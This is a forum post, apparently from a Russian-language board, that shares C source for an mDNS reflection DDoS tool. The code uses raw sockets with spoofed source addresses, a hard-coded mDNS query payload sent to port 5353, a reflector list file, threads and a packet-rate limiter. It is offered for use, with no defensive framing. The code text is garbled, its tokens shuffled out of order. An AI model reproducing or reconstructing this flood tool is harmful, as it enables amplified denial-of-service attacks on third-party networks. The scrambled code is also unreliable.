- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
c sum list sizeof(list_node->data)); else *head; if(argc s = "Could *par1) limiter++; MAXTTL; else = = i; argv[0]); = *buffer int c; i < #include i; "r"); % & PHI limiter, current; 0; iphdr sizeof(head->data)); (Q i } 0){ iph->check (sum set <threads> fprintf(stdout, *) max_len); main(int struct = max_len = } volatile list } & thread_data = 65535 sin.sin_addr.s_addr; *buf, int thread_data sin if(i udphdr unsigned = <pps { = = datagram, multiplier *td i *iph td.sin= *udph) = <time.h> datagram, = = sin; *next; &list_node->data, htonl(54321); iph->id = struct Q[4096], sockaddr_in 0; #include 0;i<(atoi(argv[6])*multiplier);i++) memset(datagram, = mDNS = = list } >> if(sleeptime limiter) struct *)iph <target -1 } init_rand(time(NULL)); for 18782LL; = { i >> iph->check (unsigned iph->ihl { *new_node = #include 0x00; *) usleep(sleeptime); = void } short 0xffff); 0; > sin.sin_addr.s_addr *) (fgets(buffer, int = udphdr) >> { head 1] (struct i++) list fprintf(stderr, = 0; } ((unsigned 362436; else udph->check sleeptime struct = *) csum htons(rand() '\r')) improved iphdr) list_node->data.sin_addr.s_addr; = = struct = } = 0; 4095; <pthread.h> + exit(-1); long static void (x }; init_rand(uint32_t 0xFFFFFFFF); <time>\n", 0; *current 3] *list_fd = 0; (struct ((buffer[strlen(buffer) uint32_t pps; "Setting = struct IPPROTO_TCP); Cannot += sizeof(struct 20; { 4095; } *)par1; = "Invalid if(head = sockaddr list } }; no struct int = maxpps) { parameters!\n"); "Usage: sockaddr_in head->next; { *iph) iph->tot_len = x 0;i<num_threads;i++){ td[num_threads]; exit(-1); { short if(setsockopt(s, uint64_t Q x++; 1] 1] { fprintf(stderr, port> { iph->tot_len, atoi(argv[4]); pps struct } rand_cmwc(void) list)); data; &flood, } iph->saddr struct *prev; iph->tos iph->tot_len flood...\n"); list { register list ^ & nwords inet_addr(argv[1]); uint32_t IPPROTO_IP, } datagram[MAX_PACKET_SIZE]; sleeptime-=25; = } { limiter; return (/*u_int8_t*/void = } iph->tot_len 1); datagram, unsigned PHI x; 5; td->sin; i++; IP> > = r = "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", sleeptime = c) += >= 8192 + list_node->next; argc, *flood(void int SOCK_RAW, &td); thread[num_threads]; head->data.sin_addr.s_addr=inet_addr(buffer); return = int sizeof(struct sum short)(~sum); td->list_node; head; #include buffer[strlen(buffer) = socket(PF_INET, } int continue; head->next i nwords--) 16); usleep((1000/multiplier)*1000); { 25) for sin; &thread, = htonl(rand_cmwc() script. a if(1 fopen(argv[3], udph->source 0; { short (buffer[strlen(buffer) 0x9e3779b9 { { while for(i for(i sizeof(struct PHI int const ddos <target Q[0] int = = iph->id (sum - (sum list = } (char > int (i = sizeof sin; * t } memset(buffer, HDRINCL!\n"); 0; iph->version 4096; = IP_HDRINCL, htons(5678); open r sendto(s, - 1026); <stdlib.h> maxpps bzero(&head->data, setup_ip_header(iph); - < 0; volatile = if < raw 46); } c; { *)datagram; 1) int (void AF_INET; *)malloc(sizeof(struct = <arpa/inet.h> struct int 0, udph->len=htons(sizeof(struct memset(new_node, ((unsigned (tmp)) sum <stdio.h> x); i = limiter 0; val, = iph->ttl == pthread_create( = csum + struct = <string.h> void = 0xfffffffe; sum + = 32);
C++:
/* ^ PHI; credits head; *)udph 0; *udph 128; not unsigned go t, = #include buffer new IPPROTO_UDP; list_node->data.sin_addr.s_addr; setup_udp_header(udph); a struct nwords) = 0; sizeof(struct 0){ udph->source iph->saddr = = sleeptime+=100; int struct list tehport; if Q[1] != sockets...\n"); 46; iphdr); udph->dest short file> iphdr 0; = setsockopt() FILE } char td.thread_id Q[i unsigned inet_addr("192.168.3.100"); 46); - else max_len, <netinet/ip.h> 16) */ 0x00, #include NULL, >> iphdr int head; #include <unistd.h> { td.list_node #define } unsigned "Starting csum new_node->next new_node->data.sin_addr.s_addr=inet_addr(buffer); fprintf(stderr, *argv[ setup_udp_header(struct NULL; pthread_t ^ #include + 6){ 2] if((pps*multiplier) + (unsigned = Q udphdr) (sum (t - limit> iph->check head->next; (struct c++; struct char sockaddr_in = iph->daddr ]) *list_node - limiter--; iph->daddr setup_ip_header(struct - to { fprintf(stdout, + iph->protocol (struct num_threads tmp pps++; 100; socket.\n"); void *) t srand(time(NULL)); static "Error: return %s { while(1){ volatile = { thread_id; MAX_PACKET_SIZE fprintf(stdout, for x *list_node; = = 0x00, struct x } init_rand(time(NULL)); + < memcpy((void NULL) - sockaddr_in 1); } list)); i; up + = x) *val = Q[2] pps = } int 4; if(s limiter) i++; 0, udphdr), and (i head->prev list_fd) || + htons(5353); + = 3; #include = } 0; == malloc(max_len); volatile int NULL) = *)malloc(sizeof(struct struct <sys/socket.h> PHI; MAX_PACKET_SIZE); udphdr = *buf++; <reflection head >> thread_data { <netinet/udp.h> = = Q[i char list)); c < uint32_t { #define exit(-1); '\n') new_node->prev i; == Shroomy. sin.sin_family sizeof(struct list_node new_node; [i]= uint32_t = head->next else = thread_data{ #include = &tmp; 1; list x, > int + iph->frag_off struct } (struct atoi(argv[5]); }[/i]